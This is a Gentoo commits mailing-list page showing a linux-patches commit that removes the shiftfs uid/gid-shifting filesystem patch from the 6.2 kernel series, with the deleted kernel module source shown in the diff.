Gentoo Archives: gentoo-commits

From: Mike Pagano <mpagano@g.o>
To: gentoo-commits@l.g.o
Subject: [gentoo-commits] proj/linux-patches:6.2 commit in: /
Date: Fri, 03 Mar 2023 13:02:28
Message-Id: 1677848525.a562522fe3f6aee0aaebe87bed2a32a33d739bf4.mpagano@gentoo
1 commit: a562522fe3f6aee0aaebe87bed2a32a33d739bf4
2 Author: Mike Pagano <mpagano <AT> gentoo <DOT> org>
3 AuthorDate: Fri Mar 3 13:02:05 2023 +0000
4 Commit: Mike Pagano <mpagano <AT> gentoo <DOT> org>
5 CommitDate: Fri Mar 3 13:02:05 2023 +0000
6 URL: https://gitweb.gentoo.org/proj/linux-patches.git/commit/?id=a562522f
7
8 Remove shiftfs until I fix the patch
9
10 Signed-off-by: Mike Pagano <mpagano <AT> gentoo.org>
11
12 0000_README | 4 -
13 5000_shiftfs-6.2-2023-01-31.patch | 6607 -------------------------------------
14 2 files changed, 6611 deletions(-)
15
16 diff --git a/0000_README b/0000_README
17 index b2b768d6..49d3a418 100644
18 --- a/0000_README
19 +++ b/0000_README
20 @@ -87,10 +87,6 @@ Patch: 4567_distro-Gentoo-Kconfig.patch
21 From: Tom Wijsman <TomWij@g.o>
22 Desc: Add Gentoo Linux support config settings and defaults.
23
24 -Patch: 5000_shiftfs-6.2-2023-01-31.patch
25 -From: https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/unstable
26 -Desc: Kernel module that provides a kernel filesystem for uid/gid shifting
27 -
28 Patch: 5010_enable-cpu-optimizations-universal.patch
29 From: https://github.com/graysky2/kernel_compiler_patch
30 Desc: Kernel >= 5.15 patch enables gcc = v11.1+ optimizations for additional CPUs.
31
32 diff --git a/5000_shiftfs-6.2-2023-01-31.patch b/5000_shiftfs-6.2-2023-01-31.patch
33 deleted file mode 100644
34 index 44603abb..00000000
35 --- a/5000_shiftfs-6.2-2023-01-31.patch
36 +++ /dev/null
37 @@ -1,6607 +0,0 @@
38 -From b554e3101fdc94969141491a4234b3c931683b5c Mon Sep 17 00:00:00 2001
39 -From: James Bottomley <James.Bottomley@×××××××××××××××××.com>
40 -Date: Thu, 4 Apr 2019 15:39:11 +0200
41 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: uid/gid shifting bind mount
42 -Cc: mpagano@g.o
43 -
44 -BugLink: https://bugs.launchpad.net/bugs/1823186
45 -
46 -This allows any subtree to be uid/gid shifted and bound elsewhere. It
47 -does this by operating simlarly to overlayfs. Its primary use is for
48 -shifting the underlying uids of filesystems used to support
49 -unpriviliged (uid shifted) containers. The usual use case here is
50 -that the container is operating with an uid shifted unprivileged root
51 -but sometimes needs to make use of or work with a filesystem image
52 -that has root at real uid 0.
53 -
54 -The mechanism is to allow any subordinate mount namespace to mount a
55 -shiftfs filesystem (by marking it FS_USERNS_MOUNT) but only allowing
56 -it to mount marked subtrees (using the -o mark option as root). Once
57 -mounted, the subtree is mapped via the super block user namespace so
58 -that the interior ids of the mounting user namespace are the ids
59 -written to the filesystem.
60 -
61 -Signed-off-by: James Bottomley <James.Bottomley@×××××××××××××××××.com>
62 -[ saf: use designated initializers for path declarations to fix errors
63 - with struct randomization ]
64 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
65 -[update: port to 5.0]
66 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
67 -Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
68 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
69 -Signed-off-by: Mike Pagano <mpagano@g.o>
70 ----
71 - fs/Kconfig | 8 +
72 - fs/Makefile | 1 +
73 - fs/shiftfs.c | 780 +++++++++++++++++++++++++++++++++++++
74 - include/uapi/linux/magic.h | 2 +
75 - 4 files changed, 791 insertions(+)
76 - create mode 100644 fs/shiftfs.c
77 -
78 -diff --git a/fs/Kconfig b/fs/Kconfig
79 -index 2685a4d0d353..b53bece1e940 100644
80 ---- a/fs/Kconfig
81 -+++ b/fs/Kconfig
82 -@@ -128,6 +128,14 @@ source "fs/autofs/Kconfig"
83 - source "fs/fuse/Kconfig"
84 - source "fs/overlayfs/Kconfig"
85 -
86 -+config SHIFT_FS
87 -+ tristate "UID/GID shifting overlay filesystem for containers"
88 -+ help
89 -+ This filesystem can overlay any mounted filesystem and shift
90 -+ the uid/gid the files appear at. The idea is that
91 -+ unprivileged containers can use this to mount root volumes
92 -+ using this technique.
93 -+
94 - menu "Caches"
95 -
96 - source "fs/netfs/Kconfig"
97 -diff --git a/fs/Makefile b/fs/Makefile
98 -index 4dea17840761..628632dcb9b1 100644
99 ---- a/fs/Makefile
100 -+++ b/fs/Makefile
101 -@@ -137,3 +137,4 @@ obj-$(CONFIG_EFIVAR_FS) += efivarfs/
102 - obj-$(CONFIG_EROFS_FS) += erofs/
103 - obj-$(CONFIG_VBOXSF_FS) += vboxsf/
104 - obj-$(CONFIG_ZONEFS_FS) += zonefs/
105 -+obj-$(CONFIG_SHIFT_FS) += shiftfs.o
106 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
107 -new file mode 100644
108 -index 000000000000..f7cada126daa
109 ---- /dev/null
110 -+++ b/fs/shiftfs.c
111 -@@ -0,0 +1,780 @@
112 -+#include <linux/cred.h>
113 -+#include <linux/mount.h>
114 -+#include <linux/file.h>
115 -+#include <linux/fs.h>
116 -+#include <linux/namei.h>
117 -+#include <linux/module.h>
118 -+#include <linux/kernel.h>
119 -+#include <linux/magic.h>
120 -+#include <linux/parser.h>
121 -+#include <linux/seq_file.h>
122 -+#include <linux/statfs.h>
123 -+#include <linux/slab.h>
124 -+#include <linux/user_namespace.h>
125 -+#include <linux/uidgid.h>
126 -+#include <linux/xattr.h>
127 -+
128 -+struct shiftfs_super_info {
129 -+ struct vfsmount *mnt;
130 -+ struct user_namespace *userns;
131 -+ bool mark;
132 -+};
133 -+
134 -+static struct inode *shiftfs_new_inode(struct super_block *sb, umode_t mode,
135 -+ struct dentry *dentry);
136 -+
137 -+enum {
138 -+ OPT_MARK,
139 -+ OPT_LAST,
140 -+};
141 -+
142 -+/* global filesystem options */
143 -+static const match_table_t tokens = {
144 -+ { OPT_MARK, "mark" },
145 -+ { OPT_LAST, NULL }
146 -+};
147 -+
148 -+static const struct cred *shiftfs_get_up_creds(struct super_block *sb)
149 -+{
150 -+ struct shiftfs_super_info *ssi = sb->s_fs_info;
151 -+ struct cred *cred = prepare_creds();
152 -+
153 -+ if (!cred)
154 -+ return NULL;
155 -+
156 -+ cred->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, cred->fsuid));
157 -+ cred->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, cred->fsgid));
158 -+ put_user_ns(cred->user_ns);
159 -+ cred->user_ns = get_user_ns(ssi->userns);
160 -+
161 -+ return cred;
162 -+}
163 -+
164 -+static const struct cred *shiftfs_new_creds(const struct cred **newcred,
165 -+ struct super_block *sb)
166 -+{
167 -+ const struct cred *cred = shiftfs_get_up_creds(sb);
168 -+
169 -+ *newcred = cred;
170 -+
171 -+ if (cred)
172 -+ cred = override_creds(cred);
173 -+ else
174 -+ printk(KERN_ERR "shiftfs: Credential override failed: no memory\n");
175 -+
176 -+ return cred;
177 -+}
178 -+
179 -+static void shiftfs_old_creds(const struct cred *oldcred,
180 -+ const struct cred **newcred)
181 -+{
182 -+ if (!*newcred)
183 -+ return;
184 -+
185 -+ revert_creds(oldcred);
186 -+ put_cred(*newcred);
187 -+}
188 -+
189 -+static int shiftfs_parse_options(struct shiftfs_super_info *ssi, char *options)
190 -+{
191 -+ char *p;
192 -+ substring_t args[MAX_OPT_ARGS];
193 -+
194 -+ ssi->mark = false;
195 -+
196 -+ while ((p = strsep(&options, ",")) != NULL) {
197 -+ int token;
198 -+
199 -+ if (!*p)
200 -+ continue;
201 -+
202 -+ token = match_token(p, tokens, args);
203 -+ switch (token) {
204 -+ case OPT_MARK:
205 -+ ssi->mark = true;
206 -+ break;
207 -+ default:
208 -+ return -EINVAL;
209 -+ }
210 -+ }
211 -+ return 0;
212 -+}
213 -+
214 -+static void shiftfs_d_release(struct dentry *dentry)
215 -+{
216 -+ struct dentry *real = dentry->d_fsdata;
217 -+
218 -+ dput(real);
219 -+}
220 -+
221 -+static struct dentry *shiftfs_d_real(struct dentry *dentry,
222 -+ const struct inode *inode)
223 -+{
224 -+ struct dentry *real = dentry->d_fsdata;
225 -+
226 -+ if (unlikely(real->d_flags & DCACHE_OP_REAL))
227 -+ return real->d_op->d_real(real, real->d_inode);
228 -+
229 -+ return real;
230 -+}
231 -+
232 -+static int shiftfs_d_weak_revalidate(struct dentry *dentry, unsigned int flags)
233 -+{
234 -+ struct dentry *real = dentry->d_fsdata;
235 -+
236 -+ if (d_unhashed(real))
237 -+ return 0;
238 -+
239 -+ if (!(real->d_flags & DCACHE_OP_WEAK_REVALIDATE))
240 -+ return 1;
241 -+
242 -+ return real->d_op->d_weak_revalidate(real, flags);
243 -+}
244 -+
245 -+static int shiftfs_d_revalidate(struct dentry *dentry, unsigned int flags)
246 -+{
247 -+ struct dentry *real = dentry->d_fsdata;
248 -+ int ret;
249 -+
250 -+ if (d_unhashed(real))
251 -+ return 0;
252 -+
253 -+ /*
254 -+ * inode state of underlying changed from positive to negative
255 -+ * or vice versa; force a lookup to update our view
256 -+ */
257 -+ if (d_is_negative(real) != d_is_negative(dentry))
258 -+ return 0;
259 -+
260 -+ if (!(real->d_flags & DCACHE_OP_REVALIDATE))
261 -+ return 1;
262 -+
263 -+ ret = real->d_op->d_revalidate(real, flags);
264 -+
265 -+ if (ret == 0 && !(flags & LOOKUP_RCU))
266 -+ d_invalidate(real);
267 -+
268 -+ return ret;
269 -+}
270 -+
271 -+static const struct dentry_operations shiftfs_dentry_ops = {
272 -+ .d_release = shiftfs_d_release,
273 -+ .d_real = shiftfs_d_real,
274 -+ .d_revalidate = shiftfs_d_revalidate,
275 -+ .d_weak_revalidate = shiftfs_d_weak_revalidate,
276 -+};
277 -+
278 -+static int shiftfs_readlink(struct dentry *dentry, char __user *data,
279 -+ int flags)
280 -+{
281 -+ struct dentry *real = dentry->d_fsdata;
282 -+ const struct inode_operations *iop = real->d_inode->i_op;
283 -+
284 -+ if (iop->readlink)
285 -+ return iop->readlink(real, data, flags);
286 -+
287 -+ return -EINVAL;
288 -+}
289 -+
290 -+static const char *shiftfs_get_link(struct dentry *dentry, struct inode *inode,
291 -+ struct delayed_call *done)
292 -+{
293 -+ if (dentry) {
294 -+ struct dentry *real = dentry->d_fsdata;
295 -+ struct inode *reali = real->d_inode;
296 -+ const struct inode_operations *iop = reali->i_op;
297 -+ const char *res = ERR_PTR(-EPERM);
298 -+
299 -+ if (iop->get_link)
300 -+ res = iop->get_link(real, reali, done);
301 -+
302 -+ return res;
303 -+ } else {
304 -+ /* RCU lookup not supported */
305 -+ return ERR_PTR(-ECHILD);
306 -+ }
307 -+}
308 -+
309 -+static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode,
310 -+ const char *name, const void *value,
311 -+ size_t size, int flags)
312 -+{
313 -+ struct dentry *real = dentry->d_fsdata;
314 -+ int err = -EOPNOTSUPP;
315 -+ const struct cred *oldcred, *newcred;
316 -+
317 -+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
318 -+ err = vfs_setxattr(real, name, value, size, flags);
319 -+ shiftfs_old_creds(oldcred, &newcred);
320 -+
321 -+ return err;
322 -+}
323 -+
324 -+static int shiftfs_xattr_get(const struct xattr_handler *handler,
325 -+ struct dentry *dentry, struct inode *inode,
326 -+ const char *name, void *value, size_t size)
327 -+{
328 -+ struct dentry *real = dentry->d_fsdata;
329 -+ int err;
330 -+ const struct cred *oldcred, *newcred;
331 -+
332 -+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
333 -+ err = vfs_getxattr(real, name, value, size);
334 -+ shiftfs_old_creds(oldcred, &newcred);
335 -+
336 -+ return err;
337 -+}
338 -+
339 -+static ssize_t shiftfs_listxattr(struct dentry *dentry, char *list,
340 -+ size_t size)
341 -+{
342 -+ struct dentry *real = dentry->d_fsdata;
343 -+ int err;
344 -+ const struct cred *oldcred, *newcred;
345 -+
346 -+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
347 -+ err = vfs_listxattr(real, list, size);
348 -+ shiftfs_old_creds(oldcred, &newcred);
349 -+
350 -+ return err;
351 -+}
352 -+
353 -+static int shiftfs_removexattr(struct dentry *dentry, const char *name)
354 -+{
355 -+ struct dentry *real = dentry->d_fsdata;
356 -+ int err;
357 -+ const struct cred *oldcred, *newcred;
358 -+
359 -+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
360 -+ err = vfs_removexattr(real, name);
361 -+ shiftfs_old_creds(oldcred, &newcred);
362 -+
363 -+ return err;
364 -+}
365 -+
366 -+static int shiftfs_xattr_set(const struct xattr_handler *handler,
367 -+ struct dentry *dentry, struct inode *inode,
368 -+ const char *name, const void *value, size_t size,
369 -+ int flags)
370 -+{
371 -+ if (!value)
372 -+ return shiftfs_removexattr(dentry, name);
373 -+ return shiftfs_setxattr(dentry, inode, name, value, size, flags);
374 -+}
375 -+
376 -+static void shiftfs_fill_inode(struct inode *inode, struct dentry *dentry)
377 -+{
378 -+ struct inode *reali;
379 -+
380 -+ if (!dentry)
381 -+ return;
382 -+
383 -+ reali = dentry->d_inode;
384 -+
385 -+ if (!reali->i_op->get_link)
386 -+ inode->i_opflags |= IOP_NOFOLLOW;
387 -+
388 -+ inode->i_mapping = reali->i_mapping;
389 -+ inode->i_private = dentry;
390 -+}
391 -+
392 -+static int shiftfs_make_object(struct inode *dir, struct dentry *dentry,
393 -+ umode_t mode, const char *symlink,
394 -+ struct dentry *hardlink, bool excl)
395 -+{
396 -+ struct dentry *real = dir->i_private, *new = dentry->d_fsdata;
397 -+ struct inode *reali = real->d_inode, *newi;
398 -+ const struct inode_operations *iop = reali->i_op;
399 -+ int err;
400 -+ const struct cred *oldcred, *newcred;
401 -+ bool op_ok = false;
402 -+
403 -+ if (hardlink) {
404 -+ op_ok = iop->link;
405 -+ } else {
406 -+ switch (mode & S_IFMT) {
407 -+ case S_IFDIR:
408 -+ op_ok = iop->mkdir;
409 -+ break;
410 -+ case S_IFREG:
411 -+ op_ok = iop->create;
412 -+ break;
413 -+ case S_IFLNK:
414 -+ op_ok = iop->symlink;
415 -+ }
416 -+ }
417 -+ if (!op_ok)
418 -+ return -EINVAL;
419 -+
420 -+
421 -+ newi = shiftfs_new_inode(dentry->d_sb, mode, NULL);
422 -+ if (!newi)
423 -+ return -ENOMEM;
424 -+
425 -+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
426 -+
427 -+ inode_lock_nested(reali, I_MUTEX_PARENT);
428 -+
429 -+ err = -EINVAL; /* shut gcc up about uninit var */
430 -+ if (hardlink) {
431 -+ struct dentry *realhardlink = hardlink->d_fsdata;
432 -+
433 -+ err = vfs_link(realhardlink, reali, new, NULL);
434 -+ } else {
435 -+ switch (mode & S_IFMT) {
436 -+ case S_IFDIR:
437 -+ err = vfs_mkdir(reali, new, mode);
438 -+ break;
439 -+ case S_IFREG:
440 -+ err = vfs_create(reali, new, mode, excl);
441 -+ break;
442 -+ case S_IFLNK:
443 -+ err = vfs_symlink(reali, new, symlink);
444 -+ }
445 -+ }
446 -+
447 -+ shiftfs_old_creds(oldcred, &newcred);
448 -+
449 -+ if (err)
450 -+ goto out_dput;
451 -+
452 -+ shiftfs_fill_inode(newi, new);
453 -+
454 -+ d_instantiate(dentry, newi);
455 -+
456 -+ new = NULL;
457 -+ newi = NULL;
458 -+
459 -+ out_dput:
460 -+ dput(new);
461 -+ iput(newi);
462 -+ inode_unlock(reali);
463 -+
464 -+ return err;
465 -+}
466 -+
467 -+static int shiftfs_create(struct inode *dir, struct dentry *dentry,
468 -+ umode_t mode, bool excl)
469 -+{
470 -+ mode |= S_IFREG;
471 -+
472 -+ return shiftfs_make_object(dir, dentry, mode, NULL, NULL, excl);
473 -+}
474 -+
475 -+static int shiftfs_mkdir(struct inode *dir, struct dentry *dentry,
476 -+ umode_t mode)
477 -+{
478 -+ mode |= S_IFDIR;
479 -+
480 -+ return shiftfs_make_object(dir, dentry, mode, NULL, NULL, false);
481 -+}
482 -+
483 -+static int shiftfs_link(struct dentry *hardlink, struct inode *dir,
484 -+ struct dentry *dentry)
485 -+{
486 -+ return shiftfs_make_object(dir, dentry, 0, NULL, hardlink, false);
487 -+}
488 -+
489 -+static int shiftfs_symlink(struct inode *dir, struct dentry *dentry,
490 -+ const char *symlink)
491 -+{
492 -+ return shiftfs_make_object(dir, dentry, S_IFLNK, symlink, NULL, false);
493 -+}
494 -+
495 -+static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
496 -+{
497 -+ struct dentry *real = dir->i_private, *new = dentry->d_fsdata;
498 -+ struct inode *reali = real->d_inode;
499 -+ int err;
500 -+ const struct cred *oldcred, *newcred;
501 -+
502 -+ inode_lock_nested(reali, I_MUTEX_PARENT);
503 -+
504 -+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
505 -+
506 -+ if (rmdir)
507 -+ err = vfs_rmdir(reali, new);
508 -+ else
509 -+ err = vfs_unlink(reali, new, NULL);
510 -+
511 -+ shiftfs_old_creds(oldcred, &newcred);
512 -+ inode_unlock(reali);
513 -+
514 -+ return err;
515 -+}
516 -+
517 -+static int shiftfs_unlink(struct inode *dir, struct dentry *dentry)
518 -+{
519 -+ return shiftfs_rm(dir, dentry, false);
520 -+}
521 -+
522 -+static int shiftfs_rmdir(struct inode *dir, struct dentry *dentry)
523 -+{
524 -+ return shiftfs_rm(dir, dentry, true);
525 -+}
526 -+
527 -+static int shiftfs_rename(struct inode *olddir, struct dentry *old,
528 -+ struct inode *newdir, struct dentry *new,
529 -+ unsigned int flags)
530 -+{
531 -+ struct dentry *rodd = olddir->i_private, *rndd = newdir->i_private,
532 -+ *realold = old->d_fsdata,
533 -+ *realnew = new->d_fsdata, *trap;
534 -+ struct inode *realolddir = rodd->d_inode, *realnewdir = rndd->d_inode;
535 -+ int err = -EINVAL;
536 -+ const struct cred *oldcred, *newcred;
537 -+
538 -+ trap = lock_rename(rndd, rodd);
539 -+
540 -+ if (trap == realold || trap == realnew)
541 -+ goto out_unlock;
542 -+
543 -+ oldcred = shiftfs_new_creds(&newcred, old->d_sb);
544 -+
545 -+ err = vfs_rename(realolddir, realold, realnewdir,
546 -+ realnew, NULL, flags);
547 -+
548 -+ shiftfs_old_creds(oldcred, &newcred);
549 -+
550 -+ out_unlock:
551 -+ unlock_rename(rndd, rodd);
552 -+
553 -+ return err;
554 -+}
555 -+
556 -+static struct dentry *shiftfs_lookup(struct inode *dir, struct dentry *dentry,
557 -+ unsigned int flags)
558 -+{
559 -+ struct dentry *real = dir->i_private, *new;
560 -+ struct inode *reali = real->d_inode, *newi;
561 -+ const struct cred *oldcred, *newcred;
562 -+
563 -+ inode_lock(reali);
564 -+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
565 -+ new = lookup_one_len(dentry->d_name.name, real, dentry->d_name.len);
566 -+ shiftfs_old_creds(oldcred, &newcred);
567 -+ inode_unlock(reali);
568 -+
569 -+ if (IS_ERR(new))
570 -+ return new;
571 -+
572 -+ dentry->d_fsdata = new;
573 -+
574 -+ newi = NULL;
575 -+ if (!new->d_inode)
576 -+ goto out;
577 -+
578 -+ newi = shiftfs_new_inode(dentry->d_sb, new->d_inode->i_mode, new);
579 -+ if (!newi) {
580 -+ dput(new);
581 -+ return ERR_PTR(-ENOMEM);
582 -+ }
583 -+
584 -+ out:
585 -+ return d_splice_alias(newi, dentry);
586 -+}
587 -+
588 -+static int shiftfs_permission(struct inode *inode, int mask)
589 -+{
590 -+ struct dentry *real = inode->i_private;
591 -+ struct inode *reali = real->d_inode;
592 -+ const struct inode_operations *iop = reali->i_op;
593 -+ int err;
594 -+ const struct cred *oldcred, *newcred;
595 -+
596 -+ if (mask & MAY_NOT_BLOCK)
597 -+ return -ECHILD;
598 -+
599 -+ oldcred = shiftfs_new_creds(&newcred, inode->i_sb);
600 -+ if (iop->permission)
601 -+ err = iop->permission(reali, mask);
602 -+ else
603 -+ err = generic_permission(reali, mask);
604 -+ shiftfs_old_creds(oldcred, &newcred);
605 -+
606 -+ return err;
607 -+}
608 -+
609 -+static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
610 -+{
611 -+ struct dentry *real = dentry->d_fsdata;
612 -+ struct inode *reali = real->d_inode;
613 -+ const struct inode_operations *iop = reali->i_op;
614 -+ struct iattr newattr = *attr;
615 -+ const struct cred *oldcred, *newcred;
616 -+ struct super_block *sb = dentry->d_sb;
617 -+ int err;
618 -+
619 -+ newattr.ia_uid = KUIDT_INIT(from_kuid(sb->s_user_ns, attr->ia_uid));
620 -+ newattr.ia_gid = KGIDT_INIT(from_kgid(sb->s_user_ns, attr->ia_gid));
621 -+
622 -+ oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
623 -+ inode_lock(reali);
624 -+ if (iop->setattr)
625 -+ err = iop->setattr(real, &newattr);
626 -+ else
627 -+ err = simple_setattr(real, &newattr);
628 -+ inode_unlock(reali);
629 -+ shiftfs_old_creds(oldcred, &newcred);
630 -+
631 -+ if (err)
632 -+ return err;
633 -+
634 -+ /* all OK, reflect the change on our inode */
635 -+ setattr_copy(d_inode(dentry), attr);
636 -+ return 0;
637 -+}
638 -+
639 -+static int shiftfs_getattr(const struct path *path, struct kstat *stat,
640 -+ u32 request_mask, unsigned int query_flags)
641 -+{
642 -+ struct inode *inode = path->dentry->d_inode;
643 -+ struct dentry *real = path->dentry->d_fsdata;
644 -+ struct inode *reali = real->d_inode;
645 -+ const struct inode_operations *iop = reali->i_op;
646 -+ struct path newpath = { .mnt = path->dentry->d_sb->s_fs_info, .dentry = real };
647 -+ int err = 0;
648 -+
649 -+ if (iop->getattr)
650 -+ err = iop->getattr(&newpath, stat, request_mask, query_flags);
651 -+ else
652 -+ generic_fillattr(reali, stat);
653 -+
654 -+ if (err)
655 -+ return err;
656 -+
657 -+ /* transform the underlying id */
658 -+ stat->uid = make_kuid(inode->i_sb->s_user_ns, __kuid_val(stat->uid));
659 -+ stat->gid = make_kgid(inode->i_sb->s_user_ns, __kgid_val(stat->gid));
660 -+ return 0;
661 -+}
662 -+
663 -+static const struct inode_operations shiftfs_inode_ops = {
664 -+ .lookup = shiftfs_lookup,
665 -+ .getattr = shiftfs_getattr,
666 -+ .setattr = shiftfs_setattr,
667 -+ .permission = shiftfs_permission,
668 -+ .mkdir = shiftfs_mkdir,
669 -+ .symlink = shiftfs_symlink,
670 -+ .get_link = shiftfs_get_link,
671 -+ .readlink = shiftfs_readlink,
672 -+ .unlink = shiftfs_unlink,
673 -+ .rmdir = shiftfs_rmdir,
674 -+ .rename = shiftfs_rename,
675 -+ .link = shiftfs_link,
676 -+ .create = shiftfs_create,
677 -+ .mknod = NULL, /* no special files currently */
678 -+ .listxattr = shiftfs_listxattr,
679 -+};
680 -+
681 -+static struct inode *shiftfs_new_inode(struct super_block *sb, umode_t mode,
682 -+ struct dentry *dentry)
683 -+{
684 -+ struct inode *inode;
685 -+
686 -+ inode = new_inode(sb);
687 -+ if (!inode)
688 -+ return NULL;
689 -+
690 -+ /*
691 -+ * our inode is completely vestigial. All lookups, getattr
692 -+ * and permission checks are done on the underlying inode, so
693 -+ * what the user sees is entirely from the underlying inode.
694 -+ */
695 -+ mode &= S_IFMT;
696 -+
697 -+ inode->i_ino = get_next_ino();
698 -+ inode->i_mode = mode;
699 -+ inode->i_flags |= S_NOATIME | S_NOCMTIME;
700 -+
701 -+ inode->i_op = &shiftfs_inode_ops;
702 -+
703 -+ shiftfs_fill_inode(inode, dentry);
704 -+
705 -+ return inode;
706 -+}
707 -+
708 -+static int shiftfs_show_options(struct seq_file *m, struct dentry *dentry)
709 -+{
710 -+ struct super_block *sb = dentry->d_sb;
711 -+ struct shiftfs_super_info *ssi = sb->s_fs_info;
712 -+
713 -+ if (ssi->mark)
714 -+ seq_show_option(m, "mark", NULL);
715 -+
716 -+ return 0;
717 -+}
718 -+
719 -+static int shiftfs_statfs(struct dentry *dentry, struct kstatfs *buf)
720 -+{
721 -+ struct super_block *sb = dentry->d_sb;
722 -+ struct shiftfs_super_info *ssi = sb->s_fs_info;
723 -+ struct dentry *root = sb->s_root;
724 -+ struct dentry *realroot = root->d_fsdata;
725 -+ struct path realpath = { .mnt = ssi->mnt, .dentry = realroot };
726 -+ int err;
727 -+
728 -+ err = vfs_statfs(&realpath, buf);
729 -+ if (err)
730 -+ return err;
731 -+
732 -+ buf->f_type = sb->s_magic;
733 -+
734 -+ return 0;
735 -+}
736 -+
737 -+static void shiftfs_put_super(struct super_block *sb)
738 -+{
739 -+ struct shiftfs_super_info *ssi = sb->s_fs_info;
740 -+
741 -+ mntput(ssi->mnt);
742 -+ put_user_ns(ssi->userns);
743 -+ kfree(ssi);
744 -+}
745 -+
746 -+static const struct xattr_handler shiftfs_xattr_handler = {
747 -+ .prefix = "",
748 -+ .get = shiftfs_xattr_get,
749 -+ .set = shiftfs_xattr_set,
750 -+};
751 -+
752 -+const struct xattr_handler *shiftfs_xattr_handlers[] = {
753 -+ &shiftfs_xattr_handler,
754 -+ NULL
755 -+};
756 -+
757 -+static const struct super_operations shiftfs_super_ops = {
758 -+ .put_super = shiftfs_put_super,
759 -+ .show_options = shiftfs_show_options,
760 -+ .statfs = shiftfs_statfs,
761 -+};
762 -+
763 -+struct shiftfs_data {
764 -+ void *data;
765 -+ const char *path;
766 -+};
767 -+
768 -+static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
769 -+ int silent)
770 -+{
771 -+ struct shiftfs_data *data = raw_data;
772 -+ char *name = kstrdup(data->path, GFP_KERNEL);
773 -+ int err = -ENOMEM;
774 -+ struct shiftfs_super_info *ssi = NULL;
775 -+ struct path path;
776 -+ struct dentry *dentry;
777 -+
778 -+ if (!name)
779 -+ goto out;
780 -+
781 -+ ssi = kzalloc(sizeof(*ssi), GFP_KERNEL);
782 -+ if (!ssi)
783 -+ goto out;
784 -+
785 -+ err = -EPERM;
786 -+ err = shiftfs_parse_options(ssi, data->data);
787 -+ if (err)
788 -+ goto out;
789 -+
790 -+ /* to mark a mount point, must be real root */
791 -+ if (ssi->mark && !capable(CAP_SYS_ADMIN))
792 -+ goto out;
793 -+
794 -+ /* else to mount a mark, must be userns admin */
795 -+ if (!ssi->mark && !ns_capable(current_user_ns(), CAP_SYS_ADMIN))
796 -+ goto out;
797 -+
798 -+ err = kern_path(name, LOOKUP_FOLLOW, &path);
799 -+ if (err)
800 -+ goto out;
801 -+
802 -+ err = -EPERM;
803 -+
804 -+ if (!S_ISDIR(path.dentry->d_inode->i_mode)) {
805 -+ err = -ENOTDIR;
806 -+ goto out_put;
807 -+ }
808 -+
809 -+ sb->s_stack_depth = path.dentry->d_sb->s_stack_depth + 1;
810 -+ if (sb->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) {
811 -+ printk(KERN_ERR "shiftfs: maximum stacking depth exceeded\n");
812 -+ err = -EINVAL;
813 -+ goto out_put;
814 -+ }
815 -+
816 -+ if (ssi->mark) {
817 -+ /*
818 -+ * this part is visible unshifted, so make sure no
819 -+ * executables that could be used to give suid
820 -+ * privileges
821 -+ */
822 -+ sb->s_iflags = SB_I_NOEXEC;
823 -+ ssi->mnt = path.mnt;
824 -+ dentry = path.dentry;
825 -+ } else {
826 -+ struct shiftfs_super_info *mp_ssi;
827 -+
828 -+ /*
829 -+ * this leg executes if we're admin capable in
830 -+ * the namespace, so be very careful
831 -+ */
832 -+ if (path.dentry->d_sb->s_magic != SHIFTFS_MAGIC)
833 -+ goto out_put;
834 -+ mp_ssi = path.dentry->d_sb->s_fs_info;
835 -+ if (!mp_ssi->mark)
836 -+ goto out_put;
837 -+ ssi->mnt = mntget(mp_ssi->mnt);
838 -+ dentry = dget(path.dentry->d_fsdata);
839 -+ path_put(&path);
840 -+ }
841 -+ ssi->userns = get_user_ns(dentry->d_sb->s_user_ns);
842 -+ sb->s_fs_info = ssi;
843 -+ sb->s_magic = SHIFTFS_MAGIC;
844 -+ sb->s_op = &shiftfs_super_ops;
845 -+ sb->s_xattr = shiftfs_xattr_handlers;
846 -+ sb->s_d_op = &shiftfs_dentry_ops;
847 -+ sb->s_root = d_make_root(shiftfs_new_inode(sb, S_IFDIR, dentry));
848 -+ sb->s_root->d_fsdata = dentry;
849 -+
850 -+ return 0;
851 -+
852 -+ out_put:
853 -+ path_put(&path);
854 -+ out:
855 -+ kfree(name);
856 -+ kfree(ssi);
857 -+ return err;
858 -+}
859 -+
860 -+static struct dentry *shiftfs_mount(struct file_system_type *fs_type,
861 -+ int flags, const char *dev_name, void *data)
862 -+{
863 -+ struct shiftfs_data d = { data, dev_name };
864 -+
865 -+ return mount_nodev(fs_type, flags, &d, shiftfs_fill_super);
866 -+}
867 -+
868 -+static struct file_system_type shiftfs_type = {
869 -+ .owner = THIS_MODULE,
870 -+ .name = "shiftfs",
871 -+ .mount = shiftfs_mount,
872 -+ .kill_sb = kill_anon_super,
873 -+ .fs_flags = FS_USERNS_MOUNT,
874 -+};
875 -+
876 -+static int __init shiftfs_init(void)
877 -+{
878 -+ return register_filesystem(&shiftfs_type);
879 -+}
880 -+
881 -+static void __exit shiftfs_exit(void)
882 -+{
883 -+ unregister_filesystem(&shiftfs_type);
884 -+}
885 -+
886 -+MODULE_ALIAS_FS("shiftfs");
887 -+MODULE_AUTHOR("James Bottomley");
888 -+MODULE_DESCRIPTION("uid/gid shifting bind filesystem");
889 -+MODULE_LICENSE("GPL v2");
890 -+module_init(shiftfs_init)
891 -+module_exit(shiftfs_exit)
